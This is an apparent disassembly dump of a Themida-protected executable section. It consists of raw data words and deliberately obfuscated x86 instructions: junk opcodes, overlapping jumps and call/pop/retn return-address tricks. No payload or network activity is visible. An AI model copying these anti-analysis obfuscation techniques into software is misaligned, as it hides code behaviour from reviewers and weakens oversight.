dd 8B582334h, 13E5773h, 0AB550000h, 70DA1056h, 0D9E0D359h
dd 43381DC1h, 3C8CCDC4h, 8F7C9D4Ah, 1065449h, 88535ADBh
dd 0FE9C4B0Bh, 20410ED9h, 6770220Bh, 8CA039Ch, 7C9B3E0Fh
dd 0C6D18164h, 0E92F84D9h, 0DB0106B3h, 9ED4B2B9h, 81DB0106h
dd 2BF8C3D4h, 815E767Dh, 0D186BFBCh, 162EFBC6h, 510190FBh
dd 0BD6C196h, 2081D3Eh, 0E3F06B48h, 3D91h, 15068F00h, 388ED4C1h
dd 3E535970h, 0ACE26C37h, 75535970h, 95EA9500h, 0E51E1D73h
dd 0B492CE31h, 53595D7Eh, 0DBA6B161h, 4159600Eh, 6B58BC9Dh
dd 595CCF25h, 0B9CED5D3h, 9775h, 1106B700h, 3D92D8C5h
dd 43DB018Ch, 0FDC8CF8Ch, 8101B997h, 0F302DCFh, 0F4A623EEh
dd 74C9CEE3h, 1BBF82Eh, 3DF7FEDBh, 9C1CE754h, 2E5FD3Dh
dd 0F27C4750h, 0DB01CDB7h, 11DCFB9Ah, 0CCFC3278h, 0FB02DB01h
dd 0A46F682Ah, 0BEA5550h, 63F25D6Eh, 0E58FA4B3h, 71B7A470h
dd 0E2AE8F86h, 3D73B98Ch, 43E2AE8Fh, 0B7501B3Ch, 0A7BFD87Eh
dd 446C12C4h, 5E8E0CEAh, 8803CEEFh, 372070DBh, 0C1ACF2DFh
dd 0C7EA5BAFh, 51A6ABC0h, 0A632DE2Fh, 0A5832922h, 0EA5BB86Fh
dd 70566E75h, 0D8C51106h, 632A792h, 22F6ADDBh, 7C9D6A35h
dd 0C56234B1h, 0CBE00116h, 5C2730E2h, 83BFF9D2h, 183FDC10h
dd 0A0DD04Dh, 0C833A83Fh, 58799E39h, 0BB4AB5B0h, 25F7301Bh
dd 0C01E5432h, 51241083h, 83C0D50Bh, 0B3D4DB10h, 0C2947D92h
dd 4D93E8D5h, 1083C017h, 21FE161Dh, 16E1F6A4h, 0F483EE9Bh
dd 0F483522h, 0B324A4Dh, 9C677022h, 13C4h, 25DC0600h, 8581BD03h
dd 35EF1B8Eh, 0C35FC497h, 260C24D9h, 360116C7h, 33FE19B9h
dd 2BF6E1B6h, 21ECEBAEh, 1BE6F1A4h, 0DD8FF9Eh, 2CDCA90h
dd 0F9C4D385h, 0F4BFD87Ch, 0E689563Ch, 4C681h, 0EE810000h
dd 4, 5C243487h
; ---------------------------------------------------------------------------
mov [esp], ecx
push ebp
mov ebp, esp
add ebp, 4
sub ebp, 4
xchg ebp, [esp]
pop esp
mov [esp], edi
push 2375h
mov [esp], esi
mov edi, 4F7138B7h
push edx
mov edx, 48DDFAE9h
xor edi, edx
pop edx
sub esp, 4
mov [esp], esp
add dword ptr [esp], 4
pop esi
push ecx
push edi
xor dword ptr [esp], 7387371Fh
pop ecx
xor ecx, 7387371Fh
mov [esi+8], ecx
pop ecx
mov esi, [esp]
push ebp
mov ebp, esp
add ebp, 4
add ebp, 4
xchg ebp, [esp]
pop esp
push dword ptr [esp]
pop edi
add esp, 4
jmp loc_58941B
; ---------------------------------------------------------------------------
db 0A4h, 10h, 7Ch
dd 0ADA52D6Ah, 1B6AFAD8h, 0F2978AD2h, 0ACC70CB8h, 0FFC50307h
dd 0C54DA2E0h, 40914E03h, 92254640h, 3EEA535h, 0D9C0C859h
dd 0A2AD3C17h, 19761B74h, 0B716BC64h, 2342AF2Bh, 4E4BAD02h
dd 242A0A14h, 877E692Ah, 2010C45Eh, 1A646145h, 0D08F333Ch
dd 25858D0Ch, 8B07A804h, 0A807C19Dh, 0BB509007h, 3D9AE79Dh
dd 6ADA8B90h, 89958900h, 6A07A814h, 0FA8B6600h, 0C938858Dh
dd 0DE8B07ACh, 6605C083h, 50FC66BBh, 10E8h, 74B52400h
dd 0C6F35A0Ch, 1EEC61E7h, 0D6ED1B7Bh, 15830F63h, 0E9000000h
dd 10h, 0B8182578h, 0B9943CF3h, 0DFB5917Dh, 0B2AA33BBh
dd 2404895Bh, 2850Fh, 0C4B70000h, 6A006AFCh, 3E85000h
dd 20000000h, 8958C358h, 81042444h, 18042444h, 40000000h
dd 0C6DAC350h, 8009AF38h, 0BF66E0E3h, 6A3D1Dh, 0E852006Ah
dd 3, 5AC35A20h, 4245489h, 4244481h, 17h, 0A1C35242h, 8B9D4901h
dd 0A80A159Dh, 0E5BB6607h, 3995FFCFh, 0BB07A81Bh, 3BFEFB6Dh
dd 9A3B8D8Dh, 6A07ABh, 3E857h, 5F200000h, 7C895FC3h, 44810424h
dd 140424h, 57470000h, 0B529EEC3h, 7A82F3Dh, 0B119BF66h
dd 6E9D1FFh, 4000000h, 13ABC904h, 0A5BD83AEh, 107A806h
dd 43850Fh, 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h
dd 1A0424h, 56460000h, 555913C3h, 60565972h, 26A5B50h
dd 50DEBF0Fh, 62B2BF66h, 1240489h, 0A82995BDh, 0E595FF07h
dd 8B07A814h, 0A817D99Dh, 0E00E907h, 0E80000h, 5D000000h
dd 0C942ED81h, 6A07ACh, 3E856h, 5E200000h, 74895EC3h, 44810424h
dd 1B0424h, 56460000h, 38B969C3h, 8CCE9B28h, 12E9A6h, 120D0000h
dd 69DB7146h, 0CCDC2D2Bh, 23B35497h, 4349AFF8h, 8C03858Dh
dd 0BD8B07ABh, 7A821DDh, 840F50h, 89000000h, 0BD2B2404h
dd 7A814E9h, 35FF64h, 6A000000h, 3E85000h, 20000000h, 8958C358h
dd 81042444h, 18042444h, 40000000h, 1303C350h, 89DB8526h
dd 0A80E7585h, 25896407h, 0
; ---------------------------------------------------------------------------
call near ptr loc_5CDE47+4
or ebx, ds:24502B96h
loc_5CDE47: ; CODE XREF: Themida_:005CDE3Cp
sbb [ecx-6274A460h], ah
test ds:0FF5B07A8h, esi
test esp, ebp
push cs
test al, 7
push ebx
pop edi
js loc_5CDE61
clc
loc_5CDE61: ; CODE XREF: Themida_:005CDE5Aj
push 0FFFFFFFFh
push 0
push esi
call sub_5CDE6E
and [esi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5CDE6E proc near ; CODE XREF: Themida_:005CDE66p
arg_4 = dword ptr 8
pop esi
mov [esp-4+arg_4], esi
add [esp-4+arg_4], 19h
inc esi
push esi
retn
sub_5CDE6E endp
; ---------------------------------------------------------------------------
lodsb
jecxz short near ptr loc_5CDE8A+5
mov esi, 9D331327h
jns short near ptr loc_5CDE9F+1
test al, 7
loc_5CDE8A: ; CODE XREF: Themida_:005CDE7Fj
jno loc_5CDE93
movsx edi, cx
loc_5CDE93: ; CODE XREF: Themida_:loc_5CDE8Aj
push dword ptr [ebp+7A810A9h]
sub [ebp+7A82A69h], eax
loc_5CDE9F: ; CODE XREF: Themida_:005CDE86j
mov edi, edx
call dword ptr [ebp+7A8246Dh]
jmp loc_5CE024
; ---------------------------------------------------------------------------
dd 92E381F9h, 0B069CD54h, 0D18D2900h, 0E607A830h, 5820F70h
dd 66000000h, 0B1CEEB81h, 9E871E4h, 4F000000h, 0A333E218h
dd 2C7B092Eh, 0B5295FF5h, 7A8286Dh, 830F613Ch, 13Ch, 88D0Fh
dd 8B520000h, 0A83545BDh, 0B60F5B07h, 58C0FC8h, 0BF000000h
dd 735CDB97h, 6BAh, 1AF78000h, 8D89C18Bh, 7A81A65h, 0E804E8C1h
dd 9, 0B5D41F8Eh, 90142F24h, 6E9BFh, 3A280000h, 0A89E7D14h
dd 0FE95Fh, 4BC80000h, 4549594Fh, 0DB52FABh, 0A2E123EAh
dd 0E2F7663Bh, 0B70FC82Bh, 0E9D18BDFh, 13h, 0F40132CAh
dd 17C6A38Bh, 0ACEF0651h, 769CC805h, 0F327FB9h, 687h, 55BD8900h
dd 0E907A81Ah, 0ACh, 3325BD33h, 858B07A8h, 8, 8E9h, 6F792E00h
dd 19C2BAA8h, 7C0836Dh, 0A55FBF66h, 0E900C083h, 11h, 0B7EA599Eh
dd 2B15B3C6h, 0F7B93E09h, 0C8A42F34h, 0FD03B05h, 2683h
dd 14E96000h, 87000000h, 686647h, 25843EDAh, 0F23F282Ch
dd 0D8E4163Ah, 6197D0ABh, 4BE9h, 1ECF8100h, 8B2DB9FCh
dd 0FFFFFF8Dh, 0C78166FFh, 0E183833Bh, 31840F01h, 9000000h
dd 0A8287995h, 0FFA58307h, 0FEFFFFFFh, 89589h, 14E90000h
dd 1D000000h, 577F0442h, 2BF0EAE8h, 2253385Ah, 99D39EB6h
dd 0E9917F6Eh, 0
; ---------------------------------------------------------------------------
loc_5CE024: ; CODE XREF: Themida_:005CDEA7j
lea esi, [ebp+7AC3E6Ch]
cmc
push 0
mov ebx, [ebp+7A83165h]
call dword ptr [ebp+7A80D21h]
push 0
push ebp
call sub_5CE044
and [ebp-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5CE044 proc near ; CODE XREF: Themida_:005CE03Cp
arg_4 = dword ptr 8
pop ebp
mov [esp-4+arg_4], ebp
add [esp-4+arg_4], 17h
inc ebp
push ebp
retn
sub_5CE044 endp
; ---------------------------------------------------------------------------
dd 0E3673F83h, 7989E381h, 0FABB1847h, 0B91020C4h, 1065h
dd 0FF02C2BBh, 0FCE18369h, 0E852006Ah, 3, 5AC35A20h, 4245489h
dd 4244481h, 1Ah, 0C35242h, 5688406Eh, 6AFCEAC1h, 3E85000h
dd 20000000h, 8958C358h, 81042444h, 17042444h, 40000000h
dd 1900C350h, 0C02BC2D3h, 0E852006Ah, 3, 5AC35A20h, 4245489h
dd 4244481h, 1Ch, 0B1C35242h, 88F2D5EEh, 0BD4DF798h, 5B58952h
dd 5F07A827h, 0BAh, 0C233AD00h, 0D003E8D1h, 7504E983h
dd 0EEC381F4h, 6A4DFA89h, 3E85300h, 20000000h, 895BC35Bh
dd 8104245Ch, 19042444h, 43000000h, 48A4C353h, 0A61DDF2h
dd 880Dh, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
dd 1604h, 0C3554500h, 29DD0EC0h, 0A831098Dh, 31958B07h
dd 307A817h, 0A804B59Dh, 598D8B07h, 6A07A80Ah, 3E85700h
dd 20000000h, 895FC35Fh, 8104247Ch, 15042444h, 47000000h
dd 762CC357h, 8BC28B50h, 8BC10318h, 0D1C18B18h, 8BC203E8h
dd 6A5818h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 170424h
dd 57470000h, 0A1BB25C3h, 53006A61h, 3E8h, 0C35B2000h
dd 245C895Bh, 24448104h, 1C04h, 0C3534300h, 0F8680EA5h
dd 0E478C43Ah, 99B531CAh, 0BF07A807h, 8F36A70h, 1885BD83h
dd 0F0007A8h, 0B584h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh
dd 24448104h, 1A04h, 0C3574700h, 21F7FCEAh, 0B81C3C3Bh
dd 0
; ---------------------------------------------------------------------------
push 0
push esi
call sub_5CE20F
and [esi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5CE20F proc near ; CODE XREF: Themida_:005CE207p
arg_4 = dword ptr 8
pop esi
mov [esp-4+arg_4], esi
add [esp-4+arg_4], 14h
inc esi
push esi
retn
sub_5CE20F endp
; ---------------------------------------------------------------------------
mov al, [ebx]
popf
inc ebp
sbb ebp, [eax+4D8D8D07h]
dec esi
test al, 7
push 0
push ebx
call sub_5CE237
and [ebx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5CE237 proc near ; CODE XREF: Themida_:005CE22Fp
arg_4 = dword ptr 8
pop ebx
mov [esp-4+arg_4], ebx
add [esp-4+arg_4], 1Ch
inc ebx
push ebx
retn
sub_5CE237 endp
; ---------------------------------------------------------------------------
pushf
inc esp
cmp [ebp-78DF0020h], cl
dec esi
mov [ebp+7A82461h], ecx
jmp ecx
; ---------------------------------------------------------------------------
push 0
push edx
call sub_5CE263
and [edx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5CE263 proc near ; CODE XREF: Themida_:005CE25Bp
arg_4 = dword ptr 8
pop edx
mov [esp-4+arg_4], edx
add [esp-4+arg_4], 1Bh
inc edx
push edx
retn
sub_5CE263 endp
; ---------------------------------------------------------------------------
db 59h
dd 0D0B4410Bh, 66E1D366h, 0E93D53BFh, 0Eh, 0FFEEBB8Ch
dd 3A612D2Eh, 1244CE63h, 0BD833137h, 7A80939h, 0FC840F00h
dd 0F000003h, 28Ch, 83FA8A00h, 0A80939BDh, 840F0107h, 402h
dd 212D9D89h, 0BD8307A8h, 7A80939h, 0B9860F03h, 6A000003h
dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 15042444h
dd 47000000h, 35D6C357h, 60FB8B66h, 0E853006Ah, 3, 5BC35B20h
dd 4245C89h, 4244481h, 15h, 95C35343h, 0D98C66BEh, 4E180F5h
dd 6E952h, 34310000h, 0A61EF131h, 0FC90A5Bh, 11184h, 57006A00h
dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1B04h, 0C3574700h
dd 153067C6h, 0DC521BEAh, 6800Fh, 9D8B0000h, 7A81001h
dd 0BB1858Bh, 9D8907A8h, 7A821CDh, 28718533h, 6A07A8h
dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 170424h, 56460000h
dd 0A6E7B5C3h, 7E917h, 47B20000h, 93CCB86Bh, 6060500Fh
dd 99857CB8h, 615A5008h, 61CF8B66h, 8B240489h, 0A80F31BDh
dd 29006A07h, 0A80BF195h, 0EEE6807h, 0BF666C15h, 34813058h
dd 0A0D1124h, 199D236Ch, 0FF07A834h, 0A8053995h, 50006A07h
dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1404h, 0C3504000h
dd 0C7816651h, 85893FE9h, 7ABBB2Bh, 26D6B2BBh, 220E907h
dd 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1A0424h
dd 57470000h, 310E8CC3h, 0FD70AE8Bh, 8E9h, 25E66C00h, 417ADE66h
dd 0DF8B6695h, 290DBD01h, 858B07A8h, 7ABBB23h, 0C72FD780h
dd 1800h, 418D2900h, 8B07A80Ah, 0ABBB27B5h, 55006A07h
dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1D04h, 0C3554500h
dd 0E34551F4h, 6A1698F1h, 858B0E4Fh, 7A80CCDh, 0E850006Ah
dd 3, 58C35820h, 4244489h, 4244481h, 18h, 0DFC35040h, 8EA3D368h
dd 14219589h, 9D8907A8h, 7A80F59h, 0BD8B0689h, 7A80E0Dh
dd 0BB1858Bh, 6A07A8h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
dd 1D0424h, 55450000h, 96B2FBC3h, 4FD11C72h, 53C2B28Fh
dd 0EE8h, 0BC9F0F00h, 91703273h, 0A2121192h, 8BA5DD8Eh
dd 0A8005DBDh, 895F5B07h, 12E80446h, 0B8000000h, 0A54313CEh
dd 162391E3h, 1CDF0053h, 9EAF57CCh, 14E960AAh, 0B6000000h
dd 0ECAA2D61h, 0A8F05199h, 0A2C50CD5h, 39F9C137h, 8B7143FFh
dd 0A82F99B5h, 505B6107h, 89243489h, 0A819A5BDh, 23B5FF07h
dd 0E807ABBBh, 4, 1F03FFh, 40257BBBh, 8D0F505Dh, 2, 448BF98Bh
dd 52500424h, 310FF2B7h, 5AFE8B66h, 0BB008B58h, 404756BCh
dd 4244489h, 5020ABFh, 0FE85825h, 8E000000h, 8C3E12D5h
dd 831950B6h, 5A2F0AC3h, 0BD334AF4h, 7A831F1h, 2B858D5Bh
dd 6A07ABBBh, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch
dd 18042444h, 45000000h, 6049C355h, 0BFBAA708h, 5AF5BF29h
dd 0BE890h, 31E70000h, 0E2495C22h, 67172CFAh, 0A3BB668Bh
dd 90505FFBh, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
dd 15h, 0A7C35545h, 0FF5B522Fh, 0A8053995h, 56006A07h
dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1904h, 0C3564600h
dd 0ED6B9AECh, 6A618F26h, 3E85000h, 20000000h, 8958C358h
dd 81042444h, 14042444h, 40000000h, 0E84AC350h, 0Eh, 0CDD92991h
dd 0ECC59E90h, 98BC1602h, 0D3BFF3FBh, 5B4B39BFh, 93985C7h
dd 307A8h, 0BD0B0000h, 7A81839h, 0BB2BBD83h, 0F0007ABh
dd 1384h, 0BD035100h, 7A8309Dh, 21E95Bh, 0B5890000h, 7A80EF5h
dd 110C3050h, 1114400h, 3010E8C1h, 21144h, 5803114Ch, 7504E983h
dd 5036EBE7h, 110430h, 0C1011164h, 443010E8h, 64000211h
dd 83580311h, 0E77504E9h, 0C1501BEBh, 642810E8h, 44300311h
dd 28580211h, 30011164h, 0E9831104h, 0EBE77504h, 6AC08B00h
dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 17042444h
dd 45000000h, 749EC355h, 8166E0DFh, 0E93528E3h, 13h, 0A9BD3E25h
dd 275166AEh, 5484BF0Ch, 0F7D37CEh, 0E93C4143h, 11h, 0E4D5F0D4h
dd 3840BE91h, 66805B19h, 8ACE7103h, 83DA8B9Bh, 0A80939BDh
dd 850F0307h, 422h, 3D0DBF66h, 0BB2BBD83h, 0F0007ABh, 41184h
dd 0D99D8900h, 0FF07A80Dh, 0ABBB2BB5h, 0A9958907h, 0FF07A807h
dd 0A8247595h, 57006A07h, 3E8h, 0C35F2000h, 247C895Fh
dd 24448104h, 1404h, 0C3574700h, 8589F8ABh, 7A804D9h, 0BB1FB58Bh
dd 6A07ABh, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1D0424h
dd 53430000h, 0FCE5DAC3h, 2A4253D8h, 66FEE3DCh, 3390A4BFh
dd 0A82D15BDh, 106C707h, 6A000100h, 3E85500h, 20000000h
dd 895DC35Dh, 8104246Ch, 19042444h, 45000000h, 5E84C355h
dd 31F0B0FAh, 9DBD0357h, 5F07A808h, 66525050h, 310FFB8Bh
dd 9E850h, 66E30000h, 201A48BCh, 5BFF1E48h, 89585A5Bh
dd 0B70F2434h, 0CDB589DEh, 0FF07A828h, 0ABBB2BB5h, 57006A07h
dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1A04h, 0C3574700h
dd 0F2701D55h, 5144B415h, 659D8Bh, 0FF5F07A8h, 0A823E595h
dd 57006A07h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1B04h
dd 0C3574700h, 4EF80CD2h, 0EADB1C9Ch, 10859D8Bh, 952907A8h
dd 7A826B5h, 0BB1FB58Bh, 6A07ABh, 3E856h, 5E200000h, 74895EC3h
dd 44810424h, 140424h, 56460000h, 858B69C3h, 7A82941h
dd 5A5B529h, 868907A8h, 0C4h, 0D7E38166h, 31958BD5h, 8307A817h
dd 0BB5004C2h, 21E0AD19h, 2050895Bh, 0E852006Ah, 3, 5AC35A20h
dd 4245489h, 4244481h, 1Ch, 1AC35242h, 0B4662B4Ch, 1315CB9Fh
dd 8DDE8B66h, 0ABCFC185h, 0F7C38107h, 89566B5Dh, 0B886h
dd 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1504h
dd 0C3534300h, 860F156Dh, 9, 38E0Fh, 0B70F0000h, 6ADA8BFAh
dd 0BE900h, 8A630000h, 0DDC5891Eh, 6728C46Ah, 2BB5FF72h
dd 6607ABBBh, 0FF65EFBFh, 0A814E595h, 890F07h, 50000000h
dd 13E9h, 5DA8100h, 0B5240BD6h, 0F35A0C74h, 0EC61E7C6h
dd 0ED1B7B1Eh, 6A243489h, 3E85700h, 20000000h, 895FC35Fh
dd 8104247Ch, 15042444h, 47000000h, 5D69C357h, 8A5BF953h
dd 2BB5FFF9h, 2B07ABBBh, 0A82811BDh, 0A5BD8B07h, 0FF07A818h
dd 0A81D0995h, 8B666007h, 860FD9h, 61000000h, 1DFDBD83h
dd 0F0007A8h, 5884h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah
dd 24448104h, 1904h, 0C3524200h, 0DA1BF246h, 830FF1C7h
dd 6, 2381BD8Bh, 0B58907A8h, 7A80A41h, 58D1DB81h, 60967771h
dd 6057A0B4h, 50615861h, 0CE9h, 0FA5A1D00h, 0F3BA9B74h
dd 71C02BA6h, 0BF0F960Dh, 2BB5FFFBh, 6A07ABBBh, 3E85300h
dd 20000000h, 895BC35Bh, 8104245Ch, 18042444h, 43000000h
dd 0A7B2C353h, 0BF1E7C84h, 0B60AE10h, 10D595FFh, 0B50107A8h
dd 7A81DF9h, 0FFD8B70Fh, 0ABBB2BB5h, 57006A07h, 3E8h, 0C35F2000h
dd 247C895Fh, 24448104h, 1804h, 0C3574700h, 0CDA45253h
dd 5E9ADh
dd 37DD0000h, 0B7162642h, 3995FFA2h, 0E907A80Bh, 5, 8F9A98B5h
dd 0F5BD8357h, 207A831h, 83840Fh, 6A0000h, 3E850h, 58200000h
dd 448958C3h, 44810424h, 160424h, 50400000h, 68E639C3h
dd 0BF56056h, 0A828B195h, 8B5B6107h, 0A82929BDh, 81858B07h
dd 6A07A829h, 3E85000h, 20000000h, 8958C358h, 81042444h
dd 1B042444h, 40000000h, 33C6C350h, 0FC164247h, 8D89A863h
dd 7A82DF9h, 6A0000C6h, 3E85200h, 20000000h, 895AC35Ah
dd 81042454h, 1A042444h, 42000000h, 1F98C352h, 0FBA76F7Eh
dd 0C985C7C0h, 7A821h, 6A000000h, 3E85100h, 20000000h
dd 8959C359h, 8104244Ch, 14042444h, 41000000h, 0E8E4C351h
dd 0Dh, 0C641AD04h, 0C1BAF195h, 5BA420E6h, 6E95B2Dh, 6AFFFFF3h
dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 17042444h
dd 47000000h, 2196C357h, 0DE9CAA4h, 4D000000h, 783BD88h
dd 0AE7CB40Dh, 21063BA3h, 1FC28060h, 18458D09h, 8B6107A8h
dd 8E9C1h, 87BC0000h, 88555EAh, 858D49D2h, 7A80425h, 0D019D09h
dd 509007A8h, 0C5C3BF66h, 51006A90h, 3E8h, 0C3592000h
dd 244C8959h, 24448104h, 1804h, 0C3514100h, 58225509h
dd 8B006A96h, 0A82D519Dh, 6870F07h, 1000000h, 0A80C6D9Dh
dd 6A006A07h, 3E85200h, 20000000h, 895AC35Ah, 81042454h
dd 18042444h, 42000000h, 0BA4DC352h, 8BB2D835h, 0A82D1D9Dh
dd 2B858D07h, 6A07ACD9h, 3E85100h, 20000000h, 8959C359h
dd 8104244Ch, 18042444h, 41000000h, 60A6C351h, 8BFE3D8Fh
dd 0A834419Dh, 559D2907h, 8307A81Ah, 6A05C0h, 3E857h, 5F200000h
dd 7C895FC3h, 44810424h, 170424h, 57470000h, 70AD8DC3h
dd 0FDBF66E2h, 158D89C9h, 9007A81Dh, 51E4BE60h, 5061171Eh
dd 4F1CC4BBh, 5E8907Ch, 0DB000000h, 2FBADFEEh, 331BD31h
dd 6A5F07A8h, 1D8D8900h, 6A07A831h, 51006A00h, 3E8h, 0C3592000h
dd 244C8959h, 24448104h, 1504h, 0C3514100h, 890FDCF1h
dd 6, 0E61BD89h, 95FF07A8h, 7A81B39h, 6959D89h, 8D8D07A8h
dd 7AB9A3Bh, 6AD1FFF8h, 3E85600h, 20000000h, 895EC35Eh
dd 81042474h, 1A042444h, 46000000h, 84D9C356h, 27E18E3Eh
dd 39BD33DCh, 8307A81Ah, 0A806A5BDh, 850F0107h, 84h, 0AE9h
dd 1E72600h, 557A8A57h, 6ACE8E95h, 51006A02h, 3E8h, 0C3592000h
dd 244C8959h, 24448104h, 1B04h, 0C3514100h, 7633474Ah
dd 0A3462486h, 68D0Fh, 8D890000h, 7A82D29h, 90D9BF0Fh
dd 48B0Fh, 0B3510000h, 60505F66h, 61DA8B66h, 0FFFE8B90h
dd 0A814E595h, 51006A07h, 3E8h, 0C3592000h, 244C8959h
dd 24448104h, 1A04h, 0C3514100h, 0AD49F142h, 66248D34h
dd 9002D781h, 0CAEE9h, 0E800h, 815D0000h, 0ACD935EDh, 598D8907h
dd 0E907A818h, 0Dh, 0E7053599h, 0E9F1E276h, 0DCEADCA3h
dd 12E8A3h, 15480000h, 43FD1972h, 838803EFh, 0C74355E0h
dd 4DFB1280h, 8D5B589h, 8D5B07A8h, 0AB8C0385h, 0BABF6607h
dd 99B35030h, 0F240489h, 198Ch, 0CE96000h, 0C6000000h
dd 4E175D23h, 0BBA11561h, 898876EDh, 0A807B9B5h, 0FF646107h
dd 35h, 47EB8100h, 139D13Dh, 0A80E21BDh, 25896407h, 0
; ---------------------------------------------------------------------------
pusha
mov [ebp+7A80EF1h], ecx
pusha
jmp loc_5CEE45
; ---------------------------------------------------------------------------
mov [eax-73h], esi
cwde
retn 0EC3Fh
; ---------------------------------------------------------------------------
db 0DCh, 9Dh, 42h
dd 5F962984h, 0D283A04h
; ---------------------------------------------------------------------------
lahf
loc_5CEE45: ; CODE XREF: Themida_:005CEE2Cj
jmp loc_5CEE4F
; ---------------------------------------------------------------------------
dw 4810h
db 2 dup(0EEh), 0B4h
; ---------------------------------------------------------------------------
loc_5CEE4F: ; CODE XREF: Themida_:loc_5CEE45j
popa
popa
sbb bl, 0F7h
inc dword ptr [ebp+7A80EE5h]
push 0FFFFFFFFh
push 0
push ecx
call sub_5CEE67
and [ecx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5CEE67 proc near ; CODE XREF: Themida_:005CEE5Fp
arg_4 = dword ptr 8
pop ecx
mov [esp-4+arg_4], ecx
add [esp-4+arg_4], 1Ch
inc ecx
push ecx
retn
sub_5CEE67 endp
; ---------------------------------------------------------------------------
jbe short near ptr loc_5CEE8F+3
cmp [edi+41h], ebx
or ah, 0FBh
mov bh, 0FFh
mov ch, 0BDh
adc al, 0A8h
pop es
movsx edi, si
call dword ptr [ebp+7A8246Dh]
loc_5CEE8F: ; CODE XREF: Themida_:005CEE77j
jmp loc_5CEF76
; ---------------------------------------------------------------------------
dd 0E600B0F5h, 8B71E470h, 0F613CF8h, 0D183h, 15850100h
dd 0F07A810h, 7E9C8B6h, 38000000h, 9271DF4Bh, 6BA6731h
dd 0F000000h, 89h, 8B28B700h, 0EB8166C1h, 0E8C13648h, 0C111BB04h
dd 0F7662D1Dh, 0AE8E2h, 67CA0000h, 62EC2544h, 4756C630h
dd 27299D8Bh, 2B5B07A8h, 608CBFC8h, 0D18B07ABh, 2CBD8589h
dd 73E907A8h, 31000000h, 0A80CEDBDh, 75858907h, 8B07A82Eh
dd 185h, 0C083F800h, 0D5BD8B07h, 8307A808h, 8B6600C0h
dd 0FD03BF8h, 0B83h, 819D8B00h, 0E907A80Eh, 3Eh, 0FFFF8D8Bh
dd 0B3B3FFFFh, 0F01E183h, 2D84h, 998D8900h, 8B07A807h
dd 0A824799Dh, 0FFA58307h, 0FEFFFFFFh, 491BD8Bh, 8B6607A8h
dd 19589D9h, 89000000h, 0A825418Dh, 0E907h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_5CEF76: ; CODE XREF: Themida_:loc_5CEE8Fj
lea esi, [ebp+7AC4ED1h]
jmp loc_5CEF87
; ---------------------------------------------------------------------------
db 52h, 7Ah, 4Dh
; ---------------------------------------------------------------------------
add ch, [ebp+66h]
loc_5CEF87: ; CODE XREF: Themida_:005CEF7Cj
push 0
jnz loc_5CEF95
mov [ebp+7A821E1h], ebx
loc_5CEF95: ; CODE XREF: Themida_:005CEF89j
call dword ptr [ebp+7A80D21h]
pusha
mov [ebp+7A80F85h], edx
mov esi, [ebp+7A81585h]
popa
mov [ebp+7A821D9h], esi
mov ecx, 1108h
jmp loc_5CEFC5
; ---------------------------------------------------------------------------
db 0C7h, 4, 62h
dd 0E5CF89D8h, 0EF04329Fh
db 3Ah
; ---------------------------------------------------------------------------
loc_5CEFC5: ; CODE XREF: Themida_:005CEFB4j
and ecx, 0FFFFFFFCh
push 0
push ebp
call sub_5CEFD3
and [ebp-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5CEFD3 proc near ; CODE XREF: Themida_:005CEFCBp
arg_4 = dword ptr 8
pop ebp
mov [esp-4+arg_4], ebp
add [esp-4+arg_4], 17h
inc ebp
push ebp
retn
sub_5CEFD3 endp
; ---------------------------------------------------------------------------
mov ah, 64h
movsb
das
cld
push 0
push esi
call sub_5CEFF3
and [esi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5CEFF3 proc near ; CODE XREF: Themida_:005CEFEBp
arg_4 = dword ptr 8
pop esi
mov [esp-4+arg_4], esi
add [esp-4+arg_4], 1Ch
inc esi
push esi
retn
sub_5CEFF3 endp
; ---------------------------------------------------------------------------
db 0E0h
; ---------------------------------------------------------------------------
pop eax
loc_5CF005: ; CODE XREF: Themida_:005CF006j
inc esp
jz short loc_5CF005
jo short sub_5CF01C
mov edx, ecx
mov eax, 0
push 0
push edi
call sub_5CF01C
and [edi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5CF01C proc near ; CODE XREF: Themida_:005CF008j
; Themida_:005CF014p
arg_4 = dword ptr 8
pop edi
mov [esp-4+arg_4], edi
add [esp-4+arg_4], 14h
inc edi
push edi
retn
sub_5CF01C endp
; ---------------------------------------------------------------------------
dd 31F5B326h, 0A80F659Dh, 0BA07h, 6A0000h, 3E850h, 58200000h
dd 448958C3h, 44810424h, 1B0424h, 50400000h, 0EA63B6C3h
dd 8E22FBB9h, 718D315Dh, 0AD07A80Bh, 0E8D1C233h, 0E983D003h
dd 0FF47504h, 6ADFBFh, 3E857h, 5F200000h, 7C895FC3h, 44810424h
dd 1B0424h, 57470000h, 0BEA893C3h, 96847119h, 19B5318Ch
dd 0E807A805h, 0Fh, 9EE43CE3h, 4EB8CDF1h, 6953755Ch, 8B709FF3h
dd 0A80825BDh, 880D5F07h, 66000000h, 0DE3CB81h, 1731958Bh
